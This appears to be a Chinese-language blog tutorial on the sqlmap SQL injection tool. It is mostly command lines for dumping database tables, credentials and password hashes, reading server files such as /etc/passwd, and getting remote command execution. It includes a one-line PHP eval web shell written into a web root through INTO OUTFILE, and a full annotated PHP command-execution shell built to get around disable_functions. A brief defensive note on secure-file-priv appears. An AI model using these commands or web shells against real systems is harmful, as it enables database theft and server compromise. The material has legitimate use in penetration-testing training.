0x00 sqlmap 簡單介紹
什么是sqlmap?
sqlmap是一個開源的滲透測試工具,它自動化了檢測和利用SQL注入缺陷 以及接管數據庫服務器的過程。它配備了一個強大的檢測引擎 ,以及終極滲透測試儀中的許多小眾功能,其廣泛的功能和選項包括數據庫指紋,枚舉,數據庫提權,訪問目標文件系統,並在獲取完全操作權限時執行任意命令。
開發語言: Python
sqlmap目前支持的數據庫共 25 種
全面支持 MySQL , Oracle , Microsoft SQL Server , Microsoft Access , PostgreSQL , IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso 數據庫。
強大的 sqlmap有哪些功能?
-
判斷可注入的參數
-
判斷可以用那種SQL注入技術來注入
-
識別出哪種數據庫
-
根據用戶的選擇,讀取哪些數據
-
可執行情況
-
當前數據庫用戶名稱和擁有的權限
-
發現WEB虛擬目錄
-
上傳 getshel
-
繞過防火牆
sqlmap的基本工作流程
當給 sqlmap這么一個url的時候,它會
-
檢測網站是否能夠訪問
-
檢測是否有Waf
-
判斷可注入的參數
-
判斷可以用那種SQL注入技術來注入
-
識別出哪種數據庫
-
根據用戶輸入的參數,進行操作
sqlmap支持的 六種 不同注入模式
-
基於布爾盲注 :即可以根據返回頁面判斷條件真假的注入。
-
基於時間盲注 :即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間)來判斷。
-
基於報錯注入 :即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
-
聯合查詢注入 :可以使用 union的情況下的注入。
-
堆查詢注入 :可以同時執行多條語句的執行時的注入。
-
內聯查詢注入 :在Sql語句中執行sql語句。
0x01 sqlmap安裝步驟
相關官方網址集合
-
sqlmap官網 :https://sqlmap.org
-
sqlmap Github :https://github.com/sqlmapproject/sqlmap/wiki
-
Python 官網 :https://www.python.org/
-
Kali系統官網 :https://www.kali.org/
windows系統安裝
-
sqlmap是基於Python開發的,所以要有Python環境。在python官網https://www.python.org下載與自己操作系統匹的環境,並安裝。注意:老版本SqlMap 2.6≤所需Pyhton版本<3.0 ,最新版本SqlMap1.5.9已經支持Python3
-
將 sqlmap從官網上下載下來,並安裝到 python的運行目錄下。在 sqlmap的目錄中,創建一個cmd的快捷方式,並改名為
sqlmap,雙擊便可直接運行。 -
輸入執行 sqlmap. py -h 若顯示一下界面,說明安裝完成
Linux系統安裝
- 安裝Kali系統自帶SqlMap無需任何配置即可使用,或者去 sqlmap官網 自行下載linux版本安裝包
0x02 sqlmap基本使用
- GET提交方式
# 檢測url是否存在注入
python sqlmap.py -u [url]
# 獲取所有的表名
python sqlmap.py -u [url] --dbs
# 獲取當前的庫名
python sqlmap.py -u [url] --current-db
# 獲取當前連接數據庫的用戶名
python sqlmap.py -u [url] --current-user
# 獲取指定庫的所有表名 -D 指定數據庫
python sqlmap.py -u [url] -D security --tables
# 獲取指定庫指定表的字段名 -T 指定表名
python sqlmap.py -u [url] -D security -T users --columns
# 獲取指定庫指定表指定字段的數據 -C 指定字段名
python sqlmap.py -u [url] -D security -T users -C id,username,password --dump
# sqlmap歷史記錄:
# windows:C:\Userstest\AppData\Local\sqlmap
# Linux: /home/test/.sqlmap or /root/.sqlmap
# 清除緩存進行注入 (刪除sqlmap的output文件夾也可清楚緩存)
python sqlmap.py -u [url] --purge
# 刷新目標的存儲在sqlmap的session文件-清緩存
python sqlmap.py -u [url] --flush-session
# 自動填充選擇Y,跳過詢問
python sqlmap.py -u [url] --batch
- POST 提交方式
python sqlmap.py -u [url] --data "uname=admin&passwd=admin"
# 1.txt是抓取的POST請求頭文件,可用 -p 指定參數,如下命令指定uname為參數
python sqlmap.py -r 1.txt -p uname
# 1.txt是抓取的POST請求頭文件,可在文件中用*標記注入位置,例如uname=admin*&passwd=admin,標記uname為注入位置
python sqlmap.py -r 1.txt
0x03 sqlmap參數詳解
- 常用參數
# 測試注入點權限
python sqlmap.py -u [url] --privileges //測試所有用戶的權限
python sqlmap.py -u [url] --privileges -U sa //測試sa用戶的權限
python sqlmap.py -u [url] --roles //測試所有用戶的權限
# 說明:當前用戶有讀取包含了數據庫管理系統中用戶信息的系統表的權限時使用這一參數可以列舉數據庫管理系統中用戶的權限。
# 通過用戶權限可以判斷哪些用戶是管理員
#** ** 注意:若目標是MSSql數據庫,這一參數會列出每個用戶是否是管理員而不列出每個用戶的具體權限。
# **利用注入注入點執行Shell命令**
python sqlmap.py -u [url] --os-cmd="net user" // windows系統執行net user命令
python sqlmap.py -u [url] --os-shell // linux系統交互式shell
# 危害:用-os-shel命令可以模擬一個真實的shell,可以使用 INTO OUTFILE寫進可寫目錄,創建一個web后門。
# 注意:1.需要有權限使用特定函數 2.數據庫為mysql、postgresql和sqlserver
# 枚舉數據庫的用戶名和密碼
python sqlmap.py -u [url] --users --passwords
# 控制sqlmap的輸出信息,從簡到繁,從0-6共分為7個級別,默認的輸出級別為1
# 0:只顯示 python的回溯、錯誤和關鍵信息
# 1:顯示信息和警告消息
# 2:顯示調試信息
# 3:顯示注入使用的攻擊載荷
# 4:顯示HTTP請求
# 5:顯示HTTP響應頭
# 6:顯示HTTP相應頁面的內容
python sqlmap.py -u [url] -v 3
# 探測等級 --level
# SqlMap一共有5個探測等級,默認是1,使用的Payload可以在xml/payloads.xml看到,也可以根據相應格式自定義payload
# level1:對GET和POST的數據進行測試
# level2:會對 Http cookie進行測試
# level3:會對 Http User-agent/ Referer頭進行測試
# level4-5:測試的更加全面,同時測試的速度會更慢
#注意:在不確定哪個Payload或參數為注入點時,為了保證全面性,建議使用高的level值
python sqlmap.py -u [url] --level 3
# 判斷當前用戶是否為管理員權限
#說明:該命令用於査看當前賬戶是否為數據庫管理員賬戶。
# 這個命令有時候決定了你是否可以在服務器下進行寫的操作,是否有寫的權限,代表你是否可以在服務器上面寫入一句話木馬
# 結果:如果是管理員會返回Ture,否則返回 False
python sqlmap.py -u [url] --is-dba
# 讀取文件內容,批量檢測url
python sqlmap.py -m url.txt --batch
# 指定cookie
# 說明:當需要對cookie注入的時候,必須使用--cookie選項,--data ""
# 因為post的數據長度為0,但是又想使用post方法進行注入,則使用--data "",使用--data選項后, sqlmap自動使用post方法。
# 注意:
# 1. sqlmap不支持使用--method指定http請求的方法
# 2. 默認不掃cookie的內容,必須是level大於等於2才能掃cookie里的內容
# 3. cookie默認的分隔符為";"
python sqlmap.py -u [url] --cookie="SESSIONID=xxxx;NAME=ichunqiu;" --level 2 --data ""
# 指定User-Agent
# 說明:參數"--user-agent" 可以指定一個User-Agent值。
# 參數"--random-agent", Sqlmap會從文件./txt/user-agents.txt中隨機地取一個User-Agent
# 注意:
# 1. 在一次會話中只有使用同一個User-Agent,並不是每發一個HTTP請求包,都隨機一個User-Agent。
# 2. 必須是level大於等於3才會嘗試對User-Agent注入
python sqlmap.py -u [url] --user-agent="Mozilla/5.0" //指定UA頭
python sqlmap.py -u [url] --random-agent //從txt字典內隨機指定UA頭
# 指定 Referer
# 說明:可以在請求中偽造HTTP中的referer,Sqlmap發送的HTTP請求頭部默認無Referer字段。
# 注意:必須是level大於等於3才會嘗試對referer注入
python sqlmap.py -u [url] --referer "http://www.baidu.com" //指定referer
# 指定代理
python sqlmap.py -u [url] --proxy=http://127.0.0.1:8080
# 指定發包間隔時間為5
python sqlmap.py -u url --delay 5
# 指定線程數
python sqlmap.py -u [url] --threads 3
- 進階參數
# --prefix 加前綴 --suffix 加后綴
python sqlmap.py -u [url] --prefix=" -- " --suffix=")"
# 指定注入模式 T-time/U-union/E-error/B-bool
python sqlmap.py -u [url] --technique T/U/E/B
# 使用時間盲注指定延時時間為5s
python sqlmap.py -u [url] --technique T --time-sec 5
# 使用googledork(google hacking語法)
python sqlmap.py -g inurl:.php?id=
# 指定數據庫類型
python sqlmap.py -u [url] --dbms=mysql
# 使用更多的語句測試url是否存在注入 1-3,3個等級
python sqlmap.py -u [url] --risk 2
# 通過sql注入漏洞獲取數據所有信息 包括庫名 dba 用戶 密碼等
python sqlmap.py -u [url] -a
# 獲取數據庫banner信息
python sqlmap.py -u [url] -b
# dump轉存所有數據庫內的數據
python sqlmap.py -u [url] --dump-all
# 獲取一個外帶shell,需要第三方模塊支持
python sqlmap.py -u [url] --os-pwn
# 給予用戶接口讓其手動選擇
python sqlmap.py -u [url] --wizard
0x04 sqlmap目錄結構
-
doc 目錄:包含 sqlmap的簡要說明,具體使用說明、作者信息等。
-
extra 目錄:包含了 sqlmap的額外功能,例如發出聲響、運行cmd、安全執行等。例如-beep參數。
-
lib 目錄:sqlmap核心目錄。
-
plugins 目錄:包含了 sqlmap目前支持的25種數據庫信息和數據庫通用事項。
-
tamper 目錄:這里包含了各種輔助腳本,比如常見的waf繞過腳本。
-
thirdparty 目錄:包含了第三方插件,例如優化、保持連接、顏色。
-
data 目錄:
-
procs 目錄:包含了 mssql、 mysql、 oracle、 postgresql的觸發程序。
-
shell 目錄:包含了注入成功后的8種shell遠程命令執行。
-
txt 目錄:包含了表名字典,列名字典,UA字典等。
-
udf 目錄:涉及UDF提權相關的文件。
-
xml 目錄:存放多種數據庫注入檢測的 payload等信息。
-
0x05 sqlmap 執行SQL
- 執行指定SQL語句
python sqlmap.py -u [url][ ](http://172.26.26.253/less-1/index.php?id=1"--sql-query="selectversion)--sql-query="select version()"
# 說明:該命令直接執行指定的SQL語句
- 交互式的SQL命令行
python sqlmap.py -u [url] --sql-shell
# 說明:該參數可直接獲得交互式的SQL命令shell,我們可以在此直接輸入想要執行的SQL語句並實時取得回顯,輸入x或者q退出
# 注意:**只能執行select語句**
- 執行文件中的SQL語句
python sqlmap.py -u [url] --sql-file="/home/wu/Desktop/1.sql"
# 說明:參數可以直接執行SQL文件中的語句
# 舉例:新建一個SQL文件,如:1.sql ,內容為: select version();select @@datadir;
0x06 sqlmap文件操作
危害與防御
-
了解SQL注入可以進行文件讀寫操作帶來的危害
-
如果當前web頁面存在SQL注入漏洞,且當前的用戶是root權限,且可以進行文件讀寫操作。
-
我們可以在知道絕對路徑的情況下,嘗試上傳一個一句話木馬,並用菜刀連接后,獲取到網站的 getshell。
-
SQL注入導致的文件讀寫的防御方法
-
將 secure-file-priv的參數在 my.ini中配置為 secure-file-priv=null將會限制 mysqld不允許導入導出操作。
-
secure-file-priv可以通過 select @@secure_file_priv;查詢得到。
-
在用戶輸入可控參數時,對敏感語句進行過濾。
讀文件
- 滿足以下條件
- 有讀文件權限
secure-file-priv (show variables) | 要么禁用,要么設置了路徑 // show variables like '%secure%' |
---|---|
目錄權限 | 對於mysql來說,有可以對某個目錄進行讀寫的權限 |
Selinux | 是2.6版本的 Linux內核中提供的強制訪問控制(MAC)系統 |
apparmor | AppArmor是一個高效和易於使用的 Linux系統安全應用程序 |
-
max allowed packed //讀寫文件最大的字節數
-
知道絕對路徑
-
文件必須在服務器上存在
如何查看 secure-file-priv的值:show variables like 'secure%'
- 利用mysql的 load_file 函數
load_file('c://windows//win.ini')
load_file('c://windows//win.ini')
load_file('c:\\windows\\win.ini')
load_file('/etc/passwd')
load_file(0×633A2F2F77696E646F77732F2F77696E2E696E69)
load_file(char(99,58,47,47,119,105,110,100,111,119,115,47,47,19,105,110,46,105,110,105))
hex(load_file(0×633A2F2F77696E646F77732F2F77696E2E696E69))
- 讀取文件
# 說明:該命令用於讀取執行文件,讀取的文件可以是文本,也可以是二進制文件
# 原理:利用mysq的 load_file函數,如:load_file('c://windows//win.ini')
python sqlmap.py -u [url] --file-read "/etc/passwd"
寫文件
- 滿足以下條件
- 有寫文件權限
secure-file-priv (show variables) | 要么禁用,要么設置了路徑 // show variables like '%secure%' |
---|---|
目錄權限 | 對於mysql來說,有可以對某個目錄進行讀寫的權限 |
Selinux | 是2.6版本的 Linux內核中提供的強制訪問控制(MAC)系統 |
apparmor | AppArmor是一個高效和易於使用的 Linux系統安全應用程序 |
-
知道絕對路徑
-
必須能繞過單引號過濾
- 利用mysql的 outfile 和dumpfile函數
outfile 函數:可寫多行,數據格式可能會受操作系統影響
dumpfile 函數:可寫單行,數據格式不會受操作系統影響
union select 1, 2, 'aaa' into outfile 'C:\\phpstudy pro\\www\\test1.txt'
union select 1, 2, 'aaa' into dumpfile 'C:/phpstudy pro/www/test1.txt'
union select 1, 2, 0x616161 into dumpfile 'C:\\phpstudy_pro\\www\\test3.txt'
union select 1, 2, CHAR(97, 97, 97) into dumpfile 'C:\\phpstudy_pro\\test4.txt'
union select 1, 2, into outfile 'c://1.php' fields terminated by '123'
union select 1, 2, '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'
union select 1, 2, 0x3c3f706870206576616C28245f504 into outfile '/var/www/html/shell.php'
- 上傳文件
# 用法:sqlmap -u [URL] --file-write "寫入本地文件的地" --file-dest "要寫入的文件絕對路徑"
# 說明:該命令用於寫入本地文件到服務器中,上傳的文件可以是文本,也可以是二進制文件
# 原理:利用mysql的outfile或dumpfile函數
# 如:union select1,2,'aa' into outfile 'C:\\phpstudy_pro\\www\\test\\1.txt'
python sqlmap.py -u [url] --file-write "c:/123.txt" --file-dest "C:/phpstudy_pro/www/test.php"
- 執行命令
# 參數:--os-cmd/-os-shell
# 說明:用於寫入 webshell到服務器中,然后利用webshell執行命令
# 原理:利用mysql的outfile 和dumpfile等寫文件函數
python sqlmap.py -u [url] --os-cmd="net user" // windows系統執行net user命令
python sqlmap.py -u [url] --os-shell // linux系統交互式shell
0x07 os-shell原理分析
分析sqlmap --os-shell原理(簡單分析寫入的php文件)
- 生成一個帶有上傳功能 的小馬 tmpuvbhi.php,寫到目標機指定目錄
執行效果:
小馬代碼截圖:
小馬簡單分析:
當上傳upload的值非空時,獲取上傳目錄路徑,根據php版本不同,選擇合適的HTTP 文件上傳變量 來接收。若php < 4.1.0,使用$HTTP_POST_FILES,否則使用$_FILES
- 當sqlmap 使用 --os-shell時,會利用這個帶有上傳功能的小馬 tmpuvbhi.php來上傳一個帶有命令執行功能 的大馬
大馬代碼截圖:
大馬簡單分析:
- 涉及的函數:
set_time_limit() //設置腳本最大執行時間,單位為秒。如果設置為0,沒有時間方面的限制。
ignore_user_abort() //設置客戶端斷開連接時是否中斷腳本的執行,默認為false,若為true時,腳本將一直保持運行
ini_set() //是php自帶的用來修改設置php.ini配置文件的函數
ini_get() //和ini_set相反,用來獲取php.ini文件里的環境變量的值
preg_replace() //執行一個正則表達式的搜索和替換
explode() //使用一個字符串分割另一個字符串
array_map() //為數組的每個元素應用回調函數
trim() //去除字符串首尾處的空白字符(或其他字符)
-
disable_functions
-
為了安全,運維人員會禁用PHP的一些“危險”函數,將其寫在php.ini配置文件中,就是我們所說的disable_functions了。
-
disable_functions其實是一個黑名單機制,我們可以通過觀察是否存在可利用的漏網之魚,直接通過其實現繞過即可。
-
常規繞過:exec,shell_exec,system,passthru,popen,proc_open
-
更多詳細繞過姿勢參考下方:https://baijiahao.baidu.com/s?id=1659386031704746677&wfr=spider&for=pc
-
2>&1
-
程序運行后會打開三個文件描述符,分別是標准輸入0,標准輸出1和標准錯誤輸出2。
-
在調用腳本時,可使用2>&1來將標准錯誤輸出重定向到標准輸出。
-
只需要查看腳本的錯誤時,可將標准輸出重定向到文件,而標准錯誤會打印在控制台,便於查看。
-
>> log.txt會將重定向內容追加到log.txt文件末尾。
-
通過查看/proc/進程id/fd下的內容,可了解進程打開的文件描述符信息。
-
過程簡單分析:
<?php
$c=$_REQUEST["cmd"]; //一句話木馬,密碼cmd
@set_time_limit(0); //設置腳本最大執行時間為無限制
@ignore_user_abort(1); //腳本一直保持運行,無論客戶端是否斷開
@ini_set("max_execution_time",0); //設置php.ini中變量 max_execution_time=0
$z=@ini_get("disable_functions"); //獲取管理員配置的函數黑名單
if(!empty($z)) //函數黑名單不為空時執行
{
$z=preg_replace("/[, ]+/",',',$z); //正則匹配','替換為','
$z=explode(',',$z); //利用','來分割黑名單中的函數
$z=array_map("trim",$z); //為數組的每個元素應用回調函數trim()來去除首尾空格
}else{ //函數黑名單為空時執行
$z=array(); //定義一個數組
}
$c=$c." 2>&1\n"; //標准錯誤輸出重定向到標准輸出
function f($n){
global $z;
return is_callable($n)and!in_array($n,$z);
}
//常規繞過disable_functions:exec,shell_exec,system,passthru,popen,proc_open
//下面就是通過一個多分分支語句,一個一個嘗試,看是否可以繞過
if(f("system"))
{
ob_start();
system($c);
$w=ob_get_clean();
}elseif(f("proc_open")){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1]))
{
$w.=fread($t[1],512);
}
@proc_close($y);
}elseif(f("shell_exec")){
$w=shell_exec($c);
}elseif(f("passthru")){
ob_start();
passthru($c);
$w=ob_get_clean();
}elseif(f("popen")){
$x=popen($c,r);
$w=NULL;
if(is_resource($x))
{
while(!feof($x))
{
$w.=fread($x,512);
}
}
@pclose($x);
}elseif(f("exec")){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}else{
$w=0;
}
echo"<pre>$w</pre>";
?>
- 斷開連接自動刪馬
當 --os-shell退出連接后,目標機中的小馬和大馬會自動刪除